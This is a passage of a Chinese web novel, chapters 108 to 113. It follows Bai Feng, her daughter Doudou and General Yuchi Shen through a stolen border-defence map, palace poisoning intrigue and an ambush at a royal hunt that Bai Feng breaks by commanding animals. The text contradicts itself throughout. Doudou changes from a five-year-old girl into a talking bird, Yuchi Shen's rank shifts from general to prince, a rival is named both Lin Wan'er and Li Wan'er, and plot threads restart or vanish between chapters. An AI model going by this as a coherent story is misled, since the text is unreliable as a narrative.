“不用谢。”尉迟深看着她,“你没事吧?” “我没事。”白凤摇摇头,“王婆子也是伤心过度,我不怪她。” 尉迟深沉默片刻:“你总是这样,对别人太宽容,对自己太苛刻。” 白凤笑了笑,没接话。 两人并肩往回走,夕阳把他们的影子拉得很长。 “白姑娘。”尉迟深突然说。 “嗯?” “我能留在这吗?” 白凤看着他:“你不回京城了?” “京城那边我会派人处理。”尉迟深说,“我想留在这,陪着你和豆豆。” 白凤心里一动,但还是说:“随便你。” 尉迟深笑了,眼里有光。 尉迟深留下来后,白凤的生活多了些变化。 他住在镇上的客栈,每天都会来白家帮忙。院子里的动物们很快就接受了他,连那只最凶的黄狗都会摇着尾巴迎接他。 豆豆更是高兴坏了,天天缠着尉迟深玩。尉迟深也不嫌烦,陪她捉迷藏,给她讲故事,俨然一副父亲的样子。 白凤看在眼里,心里说不出是什么滋味。 这天,她正在院子里晒药材,尉迟深走过来帮忙。 “你最近在研究什么?”他问。 “防疫的药方。”白凤说,“大水过后容易生病,得提前准备。” 尉迟深点点头:“需要什么药材,我让人去买。” “不用,我自己有。”白凤说。 两人默默干着活,气氛有些微妙。 “白姑娘。”尉迟深突然开口。 “嗯?” “你对我,还是很排斥吗?” 白凤手上动作一顿,抬头看他:“为什么这么问?” “因为我感觉得到。”尉迟深说,“你对我客气,但总是保持距离。” 白凤沉默片刻:“我只是不习惯跟人太亲近。” “那豆豆呢?沈冬梅呢?”尉迟深问,“你对她们就很亲近。” 白凤被问住了。 确实,她对豆豆和沈冬梅都很好,唯独对尉迟深总是冷冷淡淡的。 “我……”她不知道该怎么解释。 尉迟深看着她,眼神温柔:“我知道你经历过很多事,不愿意轻易相信别人。但是白姑娘,我是真心想对你好,你能不能给我一个机会?” 白凤心里一乱,低下头继续晒药材:“再说吧。” 尉迟深没再追问,继续帮她干活。 日子就这样过着,白凤和尉迟深的关系慢慢升温。虽然白凤嘴上不说,但行动上已经接受了他的存在。 这天,白凤去镇上采购,无意中听到两个商人在说话。 “听说了吗?边关那边要趁着灾情发一笔横财。” “怎么发?” “囤积粮食,哄抬物价。灾民们没吃的,只能高价买,这一来一去,能赚不少。” “这也太黑心了吧?” “黑心?有钱赚就行,管那么多干什么。” 白凤听了,心里一动。 她前世就听说过这事,当时粮价涨了好几倍,很多灾民买不起粮食,活活饿死。朝廷虽然派人赈灾,但远水救不了近火,等粮食运到,已经死了不少人。 如果她能提前囤积粮食,然后平价卖给灾民,既能救人,又能赚钱,一举两得。 白凤越想越觉得可行。她回到家,把尉迟深叫来商量。 “你想囤粮?”尉迟深听完她的计划,有些惊讶。 “对。”白凤说,“现在粮价还没涨,我们可以趁机多买一些,等灾情严重了再卖出去。” “可是这需要很多钱。”尉迟深说。 第109章 不许吃甜食 尉迟深这些日子总往白凤家跑,倒不是为了白凤,而是为了那个叫豆豆的小丫头。 豆豆今年五岁,正是活泼好动的年纪。她不怕尉迟深那张冷脸,反而缠着他讲边关打仗的故事。尉迟深起初不耐烦,后来竟也习惯了,每次来都会给豆豆带些小玩意儿——木雕的小马、彩色的石子、甚至还有一把小木剑。 “尉迟叔叔,你今天又给我带什么了?”豆豆眼巴巴地看着他。 尉迟深从怀里掏出一个布包,打开是几块精致的糕点。豆豆欢呼一声扑过去,小手刚要抓,就被白凤拍开了。 “饭前不许吃甜食。”白凤瞪她一眼。 豆豆撇撇嘴,转头去拉尉迟深的袖子:“叔叔你帮我说说嘛。” 尉迟深难得露出点笑意:“你娘说的对。” “哼,你们都欺负我。”豆豆气鼓鼓地跑开了。 白凤收起糕点,看向尉迟深:“将军这么闲?天天往我这小院子跑。” “圣旨下来了,三日后启程回京。”尉迟深语气平淡。 白凤手上动作顿了顿,很快恢复正常:“那挺好,京城才是你该待的地方。” “豆豆那丫头……”尉迟深欲言又止。 “她有我照顾,将军不必挂心。”白凤打断他的话。 尉迟深沉默片刻,从怀里掏出一个荷包递过去:“这是给豆豆的,里面有些碎银子,够她花用一阵子了。” 白凤没接:“将军的好意我心领了,但这银子不能收。” “你这女人怎么这么倔?”尉迟深皱眉。 “各有各的活法。”白凤转身进了厨房。 尉迟深站在原地,最终还是把荷包放在了桌上,转身离开。 三天后,尉迟深走的那天,豆豆哭得稀里哗啦。她抱着尉迟深的腿不撒手,小脸哭得通红:“叔叔你别走,你走了谁给我讲故事?” 尉迟深蹲下身,难得温和地摸摸她的头:“叔叔要去办正事,等你长大了,叔叔带你去京城玩。” “真的吗?”豆豆抽抽搭搭。 “骗你是小狗。” 豆豆这才松开手,眼泪汪汪地看着他上马离开。白凤站在一旁,面无表情地看着那道身影消失在街角。 “娘,尉迟叔叔还会回来吗?”豆豆拉着白凤的手。 “会的。”白凤低头看她,“不过在那之前,你要去学堂念书了。” 豆豆一听要念书,立刻忘了伤心,兴奋地跳起来:“真的吗?我可以去学堂了?” 白凤点点头。这些日子她攒了些银子,虽然不多,但供豆豆读书还是够的。这孩子聪明,不能耽误了。 第二天一早,白凤就带着豆豆去了镇上的学堂。学堂的夫子姓陈,是个五十多岁的老秀才,看起来挺和善。 “这孩子多大了?”陈夫子问。 “五岁。” “年纪倒是合适。”陈夫子看看豆豆,“识字吗?” 豆豆摇摇头。 “那就从《三字经》开始学。”陈夫子转向白凤,“束脩一年二两银子,每月初一交。” 白凤从怀里掏出银子,数了二两递过去。陈夫子接过,让豆豆明天就来上课。 回家路上,豆豆一直很兴奋,叽叽喳喳说个不停。白凤听着她说话,心里却在盘算着家里的开销。这二两银子是她这几个月做针线活攒下的,现在一下子花出去,手头又紧了。 第二天,豆豆穿着新洗的衣裳,背着白凤连夜赶制的小书包,高高兴兴去了学堂。 可到了下午,豆豆回来的时候,小脸上全是泪痕,衣裳也脏了。 “怎么了?”白凤蹲下身检查她有没有受伤。 豆豆抽抽搭搭地说:“他们说我是野种,说我没有爹……” 白凤心里一紧,强压下怒火:“谁说的?” “就是那几个穿得好看的小孩。”豆豆哭得更厉害了,“他们还推我,抢我的书包……” 白凤把她抱进怀里,轻轻拍着她的背:“不哭了,娘给你出气。” “可是他们人多,我打不过……”豆豆委屈极了。 白凤想了想,眼睛一亮:“那明天娘让大黑送你去。” “大黑?”豆豆眨眨眼睛。 “就是那头黑熊。” 豆豆立刻破涕为笑:“真的吗?大黑可以送我上学?” 白凤点点头。那头黑熊是她在山里救下的,养了快一年了,现在已经很温顺。让它送豆豆上学,那些欺负人的小兔崽子肯定不敢再造次。 第三天早上,豆豆骑在黑熊背上,神气活现地往学堂去了。黑熊走得慢悠悠的,豆豆坐在上面晃晃悠悠,别提多得意了。 到了学堂门口,那些昨天欺负豆豆的孩子看见黑熊,吓得脸都白了,哪里还敢靠近?就连陈夫子都惊呆了,半天说不出话来。 “夫子早。”豆豆从黑熊背上跳下来,乖乖巧巧地行礼。 陈夫子咽了咽口水:“这、这熊……” “这是我家大黑,很乖的,不咬人。”豆豆拍拍黑熊的脑袋,“大黑,你在这里等我,不许乱跑。” 黑熊打了个响鼻,乖乖趴在学堂门口。 从那天起,再也没人敢欺负豆豆了。那几个原本嚣张的孩子见了她都绕着走,生怕惹到那头黑熊。豆豆在学堂里的日子总算消停了。 可白凤这边,却迎来了不速之客。 那天下午,白凤正在院子里晾衣裳,就听见外面传来敲门声。开门一看,是她舅舅和舅妈。 舅舅叫李大山,舅妈叫王氏,两人都是庄稼人,老实巴交的。白凤娘还在世的时候,他们关系还不错,但这些年白凤家败落了,两家来往就少了。 “舅舅、舅妈,你们怎么来了?”白凤让开路。 王氏一进门就东张西望,眼神在屋里的摆设上扫来扫去。李大山倒是有些不好意思,搓着手说:“凤丫头,舅舅有事想求你。” 白凤心里一沉,大概猜到了什么:“舅舅请说。” “是这样的……”李大山支支吾吾,“你表弟要娶媳妇了,可家里实在拿不出聘礼……” 王氏接过话头,语气就没那么客气了:“你舅舅家就你表弟这一根独苗,总不能让他打光棍吧?你现在日子过得不错,帮衬帮衬也是应该的。” 白凤冷笑:“我日子过得不错?” “可不是嘛。”王氏指指院子,“你看你这房子,收拾得多好,还养着那么大一头熊,肯定不缺银子。” “舅妈说笑了。”白凤语气转冷,“我一个寡妇带着孩子,靠做针线活过日子,哪来的余钱?” “你少装穷!”王氏声音尖利起来,“我听说尉迟将军天天往你这跑,他能不给你银子?” 白凤脸色彻底沉了下来:“舅妈慎言。” “我说错了吗?”王氏叉着腰,“你一个寡妇,跟男人来往这么密切,不是图银子是图什么?” 第110章 你胡说什么? “够了!”李大山呵斥王氏,“你胡说什么?” 王氏还想说,被李大山拉住了。他转向白凤,脸上满是愧疚:“凤丫头,你舅妈说话不中听,你别往心里去。只是你表弟这事……” “我帮不了。”白凤直接拒绝,“家里确实没有余钱。” 李大山叹了口气,拉着王氏走了。王氏一路骂骂咧咧,说白凤不念旧情,忘恩负义。 白凤关上门,靠在门板上长长地吐了口气。她不是不想帮,而是真的帮不了。手头的银子要留着给豆豆交学费,还要应付日常开销,哪里还有多余的? 可她没想到,这件事还有后续。 半个月后的一天夜里,李大山偷偷摸摸来找白凤。他神色慌张,一进门就跪下了。 “舅舅这是做什么?”白凤吓了一跳。 “凤丫头,舅舅对不起你。”李大山声音发颤,“我、我做了错事……” 白凤心里咯噔一下:“什么错事?” 李大山从怀里掏出一叠纸,递给白凤:“这是边关的军事布防图,我从军营里偷出来的……” 白凤脸色大变:“你疯了?” “我也是没办法啊!”李大山痛哭流涕,“家里实在揭不开锅了,你表弟的亲事又催得紧,我、我就想着卖点消息换银子……” “你把这些卖给谁了?”白凤厉声问。 “一个商人,说是做边贸生意的。”李大山哭得更厉害了,“我后来才知道,那人是北狄的细作……” 白凤只觉得头皮发麻。边关布防图落入敌手,后果不堪设想。她强迫自己冷静下来,仔细看那些图纸。 越看,她心越沉。 这些图纸上标注的防御薄弱点,正是北狄最有可能进攻的地方。如果他们按图索骥,边关守军必定损失惨重。 “你还记得那个商人长什么样吗?”白凤问。 “记得,我记得!”李大山连忙点头。 白凤让他把人的相貌特征详细说了一遍,然后让他回去:“这事你先别声张,我想想办法。” 李大山走后,白凤一夜未眠。天刚蒙蒙亮,她就把豆豆托付给邻居,自己快马加鞭往京城赶。 这一路,她几乎没怎么休息,换了三匹马,终于在五天后赶到了京城。 京城比白凤想象中还要繁华,街道宽阔,人来人往。她顾不上欣赏这些,直奔尉迟府。 门房看她风尘仆仆的样子,有些犹豫:“姑娘找谁?” “我找尉迟将军,有要事禀报。”白凤说。 “将军不在府中,进宫了。”门房说,“姑娘要是有事,可以留个话。” 白凤咬咬牙:“那我等他回来。” 她在府门外等了整整一个下午,直到傍晚时分,才看见尉迟深骑马回来。他看见白凤,明显愣了一下。 “你怎么来了?”尉迟深翻身下马。 “有要事。”白凤压低声音,“关于边关。” 尉迟深脸色一变,立刻让她进府。到了书房,白凤把李大山的事一五一十说了。 “你舅舅现在在哪?”尉迟深问。 “应该还在镇上。”白凤说,“我来之前让他别乱跑。” 尉迟深沉思片刻:“这事必须立刻上报,你跟我进宫。” “我?”白凤一愣。 “你是当事人,有些细节需要你亲口说。”尉迟深已经起身,“走吧。” 进宫的流程比白凤想象中复杂得多,层层通报,等了快一个时辰,才被带到御书房。 皇帝看起来四十多岁,面容威严。他听完白凤的陈述,脸色越来越难看。 “好大的胆子!”皇帝拍案而起,“竟敢盗卖军事机密!” “陛下息怒。”尉迟深跪下,“臣请旨立刻派人前往边关,调整防务。” “准。”皇帝看向白凤,“你舅舅犯了死罪,但你及时禀报,功过相抵,朕不追究你的责任。” 白凤跪下:“谢陛下。” “至于你舅舅……”皇帝顿了顿,“按律当斩。” 白凤心里一沉,却没有说话。她知道这是必然的结果,盗卖军事机密,株连九族都不为过。 从宫里出来,天已经黑了。尉迟深看白凤脸色苍白,说:“你先在府里住下,明天我派人送你回去。” “不用了。”白凤摇摇头,“我还要回去一趟,有些事要处理。” “你舅舅那边……” “我知道。”白凤打断他,“该是什么结果就是什么结果,我不会求情。” 尉迟深沉默片刻:“你打算怎么办?” “先回去把豆豆接来,然后……”白凤苦笑,“走一步看一步吧。” “京城这边我会安排。”尉迟深说,“你们母女可以暂住在我府里。” “不必了。”白凤拒绝,“我自己能安排。” 尉迟深皱眉:“你一个女人带着孩子,在京城人生地不熟……” “我说了,不必。”白凤语气坚决。 两人就这样僵持着,最后还是尉迟深妥协了:“那我让人给你找个住处。” 白凤这次没有拒绝。 第二天,白凤就启程回镇上了。路上她一直在想,该怎么跟豆豆解释这些事。孩子还小,有些事她未必能理解。 回到镇上,果然听说李大山被抓了。王氏哭得死去活来,逢人就说白凤害死了她男人。白凤没有理会这些,直接去接豆豆。 “娘,我们要去哪?”豆豆问。 “去京城。”白凤说,“那里有更好的学堂,你可以学更多东西。” “那大黑呢?”豆豆担心地问。 “大黑也一起去。” 豆豆这才高兴起来。她不知道发生了什么,只是单纯地觉得去京城是件好事。 收拾行李的时候,白凤把这些年攒下的东西都整理了一遍。其实也没多少,几件换洗衣裳,一些针线活的工具,还有尉迟深留下的那个荷包。 她打开荷包,里面除了碎银子,还有一块玉佩。玉佩温润,一看就价值不菲。白凤犹豫了一下,最终还是收了起来。 三天后,白凤带着豆豆和黑熊到了京城。尉迟深安排的住处在城西,是个小院子,虽然不大,但收拾得很干净。 “娘,这就是我们的新家吗?”豆豆兴奋地跑来跑去。 “是。”白凤放下行李,“以后我们就住在这里了。” 安顿下来后,白凤开始打听京城的学堂。尉迟深给她推荐了几家,其中一家叫文昌书院,据说是京城最好的私塾之一。 白凤带着豆豆去看了看,书院确实不错,只是束脩也贵得吓人,一年要十两银子。白凤咬咬牙,还是交了钱。 豆豆在书院里很快就适应了。这里的孩子大多是官宦人家的,见识广,也更有教养,不会像镇上那些孩子一样欺负人。 可好景不长,半个月后,就出事了。 第111章 夫子怎么什么人都收? 那天白凤去书院接豆豆,发现她被几个女孩围着,那些女孩指指点点,说话很难听。 “你爹是罪臣,你就是罪臣之后!” “罪臣的女儿也配来我们书院?” “夫子怎么什么人都收?” 豆豆涨红了脸,眼泪在眼眶里打转,却倔强地不肯哭出来。 白凤走过去,把豆豆护在身后:“你们是哪家的孩子?” 为首的女孩昂着头:“我爹是户部侍郎,怎么,你想找我爹告状?” “不必。”白凤冷冷地看着她,“我只是想告诉你,嘴巴不干净,小心烂掉。” “你敢咒我?”女孩尖叫起来。 “咒你?”白凤笑了,“我只是陈述事实。” 女孩气得跺脚,转身跑了。其他几个女孩也跟着散了。 回家路上,豆豆一直很沉默。白凤知道她心里难受,却不知道该怎么安慰。 “娘。”豆豆突然开口,“她们说的是真的吗?我爹真的是罪臣?” 白凤顿住脚步。她蹲下身,看着豆豆的眼睛:“你爹不是罪臣,他是被冤枉的。” “那为什么大家都这么” “因为有人想让大家这么说。”白凤说,“但娘会证明给你看,你爹是清白的。” 豆豆似懂非懂地点点头。 回到家,白凤开始翻找原主留下的东西。她记得原主的父母被贬时,曾经留下一些书信和文书,或许能从中找到线索。 找了整整一夜,白凤终于在一个旧箱子底部,发现了一封信。信是原主父亲写的,里面提到了一些当年的内情。 原来,原主的父亲当年是太子的老师,因为反对太子的一些做法,被太子记恨。后来太子勾结朝中大臣,设局陷害,最终导致原主父亲被贬。 而那个在书院里带头欺负豆豆的女孩,她父亲正是当年参与陷害的人之一。 白凤握紧了信,眼中闪过一丝寒光。 既然如此,那就别怪她不客气了。 第二天,白凤直接去了尉迟府。这次她不是来求助,而是来谈条件的。 “我要你娶我。”白凤开门见山。 尉迟深正在喝茶,听到这话,差点呛到:“你说什么?” “我说,我要你娶我。”白凤重复了一遍,“当然,这只是名义上的婚姻,我们可以签协议。” “你疯了?”尉迟深放下茶杯。 “我很清醒。”白凤说,“你现在深受皇帝倚重,正是需要稳固地位的时候。而我需要一个身份,来为我父母翻案。我们各取所需,不是很好?” 尉迟深盯着她看了很久:“你就这么确定我会答应?” “你会的。”白凤笑了,“因为你欠我一个人情,不是吗?” 尉迟深沉默了。确实,如果不是白凤及时送来情报,边关那边不知道会出多大的乱子。这个人情,他确实欠着。 “好。”尉迟深最终点头,“我答应你。” “那就这么说定了。”白凤起身,“三天后,我会让媒人上门提亲。” “等等。”尉迟深叫住她,“你就不怕我反悔?” “你不会。”白凤头也不回地走了。 消息很快传开了,京城里炸开了锅。尉迟将军要娶一个寡妇?还是个罪臣之后?这简直是天大的笑话! 最气的要数那个户部侍郎家的小姐,也就是在书院里欺负豆豆的那个女孩的姐姐。她叫林婉儿,一直对尉迟深有意思,听说这个消息,当场就吐了血。 林婉儿躺在床上,脸色苍白,眼神怨毒。她的贴身丫鬟翠儿在一旁小心翼翼地伺候着。 “那个贱人!”林婉儿咬牙切齿,“一个罪臣之后,也配嫁给尉迟将军?” “小姐消消气。”翠儿劝道,“气坏了身子不值当。” “我咽不下这口气!”林婉儿挣扎着要起来,“我要去找尉迟将军,我要让他知道那个女人是什么货色!” 翠儿拦不住她,只好扶着她去了尉迟府。 尉迟深正在书房处理公务,听说林婉儿来了,眉头皱得更紧了。他和林家没什么交情,林婉儿三番五次找上门来,他早就不耐烦了。 “让她进来吧。”尉迟深放下手中的文书。 林婉儿进来的时候,脸上还带着病容,但眼神却很坚定。她行了个礼:“尉迟将军。” “林小姐有事?”尉迟深语气冷淡。 “我是来劝将军的。”林婉儿说,“那个白凤不是良配,将军不该娶她。” “哦?”尉迟深挑眉,“林小姐凭什么这么” “她是罪臣之后,这是其一。”林婉儿掰着手指数,“她还是个寡妇,带着拖油瓶,这是其二。最重要的是,她心术不正,接近将军肯定别有用心!” “心术不正?”尉迟深冷笑,“林小姐是怎么知道的?” “我……”林婉儿一时语塞。 “还是说,林小姐自己心术不正,所以觉得别人也一样?”尉迟深站起身,居高临下地看着她,“林小姐,你以为我不知道,当初是谁在白凤面前挑拨离间,说我看不起她?” 林婉儿脸色煞白:“我、我没有……” “你有没有,你自己心里清楚。”尉迟深冷冷地说,“你去找白凤,说我嫌弃她的出身,说我只是玩玩而已。你以为我不知道?” “我那是为了将军好!”林婉儿急了,“那个女人配不上你!” “配不配得上,不是你说了算。”尉迟深走到她面前,“林小姐,我最后警告你一次,离白凤远点,否则别怪我不客气。” “你、你为了那个女人这样对我?”林婉儿眼泪掉下来。 “不是为了她,是因为你做得太过分。”尉迟深说,“送客。” 林婉儿被赶出尉迟府,心里又羞又恨。她发誓一定要让白凤好看。 可她没想到,尉迟深转头就把这事告诉了白凤。 “她当初跟你说了什么?”尉迟深问。 白凤想了想:“她说你只是一时兴起,让我别当真。还说你看不上罪臣之后,早晚会抛弃我。” “你信了?” “信了一半。”白凤老实说,“毕竟我确实是罪臣之后,你确实是高高在上的将军。” 尉迟深沉默了一会:“所以你那时候才对我那么冷淡?” “算是吧。”白凤说,“不过现在想想,她说的也不全是假话。你确实看不上我,我们这桩婚事,不过是各取所需罢了。” “你就这么确定我看不上你?”尉迟深盯着她。 白凤被他看得有些不自在,移开视线:“难道不是吗?” 尉迟深没有回答,只是说:“林婉儿那边,你小心点。她不会善罢甘休的。” “我知道。”白凤说,“不过我也不是好惹的。” 果然,没过几天,林婉儿就又找上门来了。这次她不是来找尉迟深,而是直接去了白凤住的小院。 白凤正在院子里晾衣裳,看见林婉儿带着一群丫鬟气势汹汹地进来,也不慌张,继续手上的活。 “你就是白凤?”林婉儿打量着她。 “是我。”白凤头也不抬,“林小姐有事?” 第112章 听说宫里出事了 白凤这几日过得倒也清闲,每天逗逗豆豆,在府里侍弄花草。谁知这天下午,豆豆突然从外面飞回来,落在她肩头就开始叽叽喳喳。 “主人主人!我听到大消息了!” 白凤正在给月季浇水,闻言挑了挑眉:“什么消息?” “就是那个官家小姐,就是上次在宴会上对你横眉竖眼那个!”豆豆的小脑袋一晃一晃,“她养的那只波斯猫今天跟我抱怨,说她家主人天天拿你说事儿,骂你是个乡下来的土包子,还说你配不上王爷。” 白凤笑了:“这有什么稀奇,她本来就看我不顺眼。” “还有更劲爆的!”豆豆压低声音,“那只猫说,它家主人以前跟太子殿下有一腿!经常半夜偷偷见面,还说什么将来要当皇后娘娘。结果太子殿下突然就不理她了,她气得把猫都踢了好几脚。” 白凤手里的水壶差点掉在地上。 “你说什么?” “千真万确!”豆豆拍着翅膀,“那只猫亲眼看见的,还说官家小姐现在恨死你了,因为王爷娶了你,她原本的计划全泡汤了。她本来想着四处活动,到时候坐稳皇后之位,现在全完了。” 白凤沉默片刻,将水壶放下:“这事儿你别跟别人说。” “我知道我知道。”豆豆啄了啄她的耳朵,“不过主人,你要小心那个女人,她现在肯定把你当眼中钉了。” 话音刚落,府里的管家就来传话,说是皇后娘娘邀请各位王妃明日去御花园赏花。 白凤心里咯噔一下,总觉得这个时候的邀请来得不太对劲。 第二天一早,白凤换上一身素雅的襦裙,跟着尉迟深的马车进了宫。尉迟深今日要上朝,只能送她到宫门口。 “若是不舒服就早些回来。”尉迟深叮嘱道。 “我又不是瓷娃娃。”白凤笑着推他,“你快去吧,别让皇上等急了。” 御花园里已经来了不少人,几位王妃和诰命夫人三三两两地聚在一起说话。白凤刚走进去,就感觉到好几道不善的目光落在自己身上。 官家小姐李婉儿今天打扮得格外精致,一身水红色的长裙,头上插着金步摇,看见白凤进来,嘴角扯出一个笑:“哟,尉迟王妃来了。” 白凤点点头算是打过招呼,找了个角落的位置坐下。 皇后娘娘姗姗来迟,众人行礼后,宫女们开始上茶点。白凤端起茶杯抿了一口,余光瞥见李婉儿正跟身边的几个夫人窃窃私语,不时朝她这边看。 “各位今日难得聚在一起,本宫特意让御膳房准备了些新鲜点心。”皇后笑着说,“都尝尝。” 白凤夹了块桂花糕,刚要送进嘴里,豆豆突然在她脑海里尖叫:“别吃!有毒!” 她手一顿,不动声色地把糕点放回盘子里。 就在这时,坐在对面的一位夫人突然捂着肚子叫了起来:“哎哟!我肚子疼!” 紧接着,又有两三个人开始喊疼,现场顿时乱成一团。 “快传太医!”皇后脸色大变。 李婉儿这时候站了起来,指着白凤:“皇后娘娘,臣女刚才看见尉迟王妃往点心里撒了什么东西!” “你胡说!”白凤冷冷地看着她。 “我亲眼看见的!”李婉儿一副义正言辞的样子,“而且尉迟王妃自己的那份点心她根本没动,这不是心虚是什么?” 其他人纷纷附和,场面越来越混乱。 白凤扫了一眼在场的人,心里已经明白了七八分。她站起身,走到那几个喊疼的夫人面前:“让我看看你们吃的是什么点心。” “你还想毁灭证据不成?”李婉儿冷笑。 白凤没理她,仔细观察了几个人盘子里剩下的点心,又看了看其他人的。她发现中毒的几个人吃的都是同一种杏仁酥。 “豆豆,去把御花园里的喜鹊叫来。”白凤在心里说。 不一会儿,几只喜鹊落在亭子的栏杆上。在场的人都愣住了,不明白这些鸟怎么突然飞过来。 白凤拿起一块杏仁酥,掰成小块扔给喜鹊。喜鹊们啄了几下,突然全都扑腾着翅膀飞走了,还叽叽喳喳地叫个不停。 “鸟都不吃的东西,人吃了能不出事?”白凤转头看向皇后,“娘娘明鉴,这杏仁酥有问题,但不是我下的毒。我若真想害人,怎么会蠢到让自己的点心完好无损?” 皇后沉吟片刻:“那你说是谁下的毒?” “这个我不知道。”白凤淡淡地说,“不过我可以让真相自己浮出水面。” 她走到李婉儿面前:“李小姐,你的那只波斯猫今天带来了吗?” 李婉儿脸色微变:“带、带来了,在偏殿。” “那就请它过来吧。”白凤笑了笑,“猫的鼻子很灵,应该能闻出点什么。” 李婉儿想拒绝已经来不及了,宫女已经去把猫抱了过来。那只雪白的波斯猫一进来就开始喵喵叫,白凤蹲下身,在心里问:“是谁让你主人下毒的?” 波斯猫歪着头看她,然后喵了一声,跳到李婉儿身边,又跳到旁边一个穿紫色衣裙的夫人那里,用爪子抓她的裙摆。 “这、这是怎么回事?”那位夫人慌了。 白凤站起身:“看来答案已经很明显了。这位夫人,你是不是该解释一下?” 紫衣夫人脸色煞白,扑通一声跪在地上:“娘娘饶命!是、是太子殿下让臣妇这么做的!说是要给尉迟王妃一个教训!” 全场哗然。 皇后的脸色变得极为难看:“来人,把她拿下!还有,去请太子过来!” 李婉儿整个人都傻了,她没想到事情会发展成这样。更没想到白凤居然能让动物帮她作证。 白凤拍了拍裙子上不存在的灰尘,重新坐回位置上,端起茶杯慢慢喝着。 豆豆在她脑海里得意地说:“主人威武!” “少贫嘴。”白凤在心里回了一句,表面上却是一副云淡风轻的样子。 太子很快就到了,听完事情经过后,脸色铁青:“母后,儿臣不知道这件事,一定是有人冒用儿臣的名义!” “是不是冒用,查一查就知道了。”皇后冷冷地说,“来人,把紫衣夫人带下去严审!” 太子看向白凤的眼神里多了几分忌惮。他没想到这个看起来柔弱的女子居然有这样的本事,能让动物听她的话。 这件事很快就传遍了整个京城。 白凤回到王府时,尉迟深已经在书房等她了。 “听说宫里出事了。”他起身走到她面前,上下打量,“有没有受伤?” “我能有什么事。”白凤笑着坐下,“倒是那些想害我的人,现在应该很头疼。” 尉迟深给她倒了杯温水:“到底怎么回事?” 第113章 以后别再冒险了 白凤把今天的事情简单说了一遍,尉迟深听完后沉默了许久。 “你能跟动物说话?” “算是吧。”白凤没有否认,“从小就这样,我也不知道为什么。” 尉迟深突然伸手把她拉进怀里:“以后别再冒险了。” 白凤愣了一下,感觉到他身体的温度和微微加快的心跳。她没有挣扎,只是轻轻靠在他肩上:“我会小心的。” 这一刻的安静被豆豆打破了。 “主人主人!外面好多人在议论你!”豆豆从窗户飞进来,“都说你是神仙下凡,能跟动物说话!” 白凤心里一紧,推开尉迟深:“豆豆,你刚才说什么?” “就是大家都知道你能跟动物交流了啊。”豆豆歪着头,“这不是好事吗?以后肯定没人敢欺负你了。” “糟了。”白凤站起身,在房间里来回踱步。 尉迟深也意识到问题的严重性:“消息传得这么快?” “肯定是今天在场的人传出去的。”白凤咬着嘴唇,“这下麻烦大了。” 她的预感很快就应验了。 第二天一早,府里的管家就来报告,说是城里好多人家都把自己养的动物处理了,生怕被白凤控制。更离谱的是,连宫里的马都不用了,改成人力抬轿。 “这些人疯了吗?”白凤听完后哭笑不得。 “不是疯了,是怕了。”尉迟深说,“你这个能力太特殊,很多人会觉得威胁。” 果然,接下来几天,白凤发现街上的动物越来越少。豆豆每天回来都要哭诉一番,说又有哪家的狗被送走了,哪家的猫被扔了。 最让白凤难过的是,连一些无辜的人也受到了牵连。只要是跟她有过交集的,家里的动物都被强制处理掉。 “主人,这都是我的错。”豆豆趴在她肩上,声音里带着哭腔,“我不该说漏嘴的。” 白凤摸了摸它的小脑袋:“不怪你,这事儿早晚会暴露的。” “可是那些小动物都好可怜。”豆豆抽泣着,“它们什么都没做错。” 白凤抱着豆豆,心里也很不好受。她没想到自己的能力会给这么多无辜的生命带来灾难。 就在这时,宫里又来了消息。 太子邀请尉迟深参加三日后的秋季围猎,说是要为皇上祈福。 “这是鸿门宴。”尉迟深看着请帖,“太子不会放过这个机会。” “那就不去。”白凤说。 “不去也不行。”尉迟深叹了口气,“这是皇上亲自下的旨意,所有王爷都要参加。” 白凤想了想:“那我跟你一起去。” “太危险了。” “正因为危险,我才要去。”白凤握住他的手,“你一个人我不放心。” 尉迟深看着她的眼睛,最终点了点头。 三天后,一行人浩浩荡荡地出发前往皇家猎场。 猎场位于京城北边的山林里,占地极广。白凤一下马车就感觉到周围有无数双眼睛在盯着她。 “主人小心。”豆豆躲在她袖子里小声说,“这里的动物都很害怕,说是有人在林子里设了很多陷阱。” 白凤心里一沉,看来太子是真的想要她的命。 围猎开始后,众人分散进入林中。白凤跟在尉迟深身边,豆豆则飞到空中侦察。 “主人!前面有埋伏!”豆豆突然尖叫,“好多弓箭手!” 白凤刚要提醒尉迟深,就听到一阵破空声。数十支箭矢从四面八方射来,尉迟深反应极快,一把将白凤护在身下,同时拔剑挡开了大部分箭矢。 “动手!”不知道谁喊了一声,树林里冲出来十几个黑衣人。 尉迟深护着白凤且战且退,但对方人多势众,很快就被逼到了一处悬崖边。 “尉迟王爷,今天就是你的死期!”为首的黑衣人冷笑着说,“太子殿下有令,格杀勿论!” 白凤看着眼前的局面,突然闭上眼睛,在心里大喊:“所有能听到我声音的,都给我过来!” 下一秒,整个山林都沸腾了。 无数的鸟从树上飞起,遮天蔽日。野猪、鹿、狼、熊,各种动物从四面八方冲出来,朝着那些黑衣人扑去。 “啊——”惨叫声此起彼伏。 黑衣人们根本没想到会遇到这种情况,被突如其来的兽群冲得七零八落。有的被野猪撞飞,有的被狼咬住,还有的被熊一巴掌拍在地上。 “这、这是怎么回事?”为首的黑衣人惊恐地看着周围。 白凤睁开眼睛,冷冷地说:“你们不是想杀我吗?现在轮到我的朋友们跟你们玩玩了。” 远处传来太子的尖叫声,白凤转头看去,只见太子正被一群野猪追得满山跑,狼狈不堪。 “救命!快来人救命!”太子的声音都变了调。 更惨的是李婉儿,她不知道为什么也跟来了,此刻正被一只黑熊堵在树下,吓得脸色惨白,裙子都湿了一片。 “别、别过来!”李婉儿哭喊着,但黑熊根本不理她,一爪子拍在旁边的树上,树干应声而断,正好砸在李婉儿腿上。 “啊——”李婉儿发出凄厉的惨叫。 白凤看着这一幕,心里没有半点同情。这些人想要她的命,现在不过是自食其果罢了。 “够了。”尉迟深拉住她的手,“别闹出人命。” 白凤点点头,让动物们停止攻击。但那些动物显然还没玩够,在周围转来转去,虎视眈眈地盯着那些人。 皇帝带着侍卫赶到时,看到的就是这副场景。 太子躲在一棵树上,衣服破破烂烂,头发乱得跟鸡窝一样。李婉儿躺在地上,腿已经断了,哭得上气不接下气。那些黑衣人更惨,有的被咬得血肉模糊,有的直接昏死过去。 “这是怎么回事?”皇帝的脸色难看到了极点。 皇帝的声音在山林间回荡,所有人都跪了下来,除了还挂在树上的太子和躺在地上的李婉儿。 “父皇!”太子哆哆嗦嗦地从树上爬下来,“儿臣、儿臣也不知道怎么回事,这些野兽突然就发疯了!” “发疯?”皇帝冷笑一声,目光扫向白凤,“尉迟王妃,你来说说。” 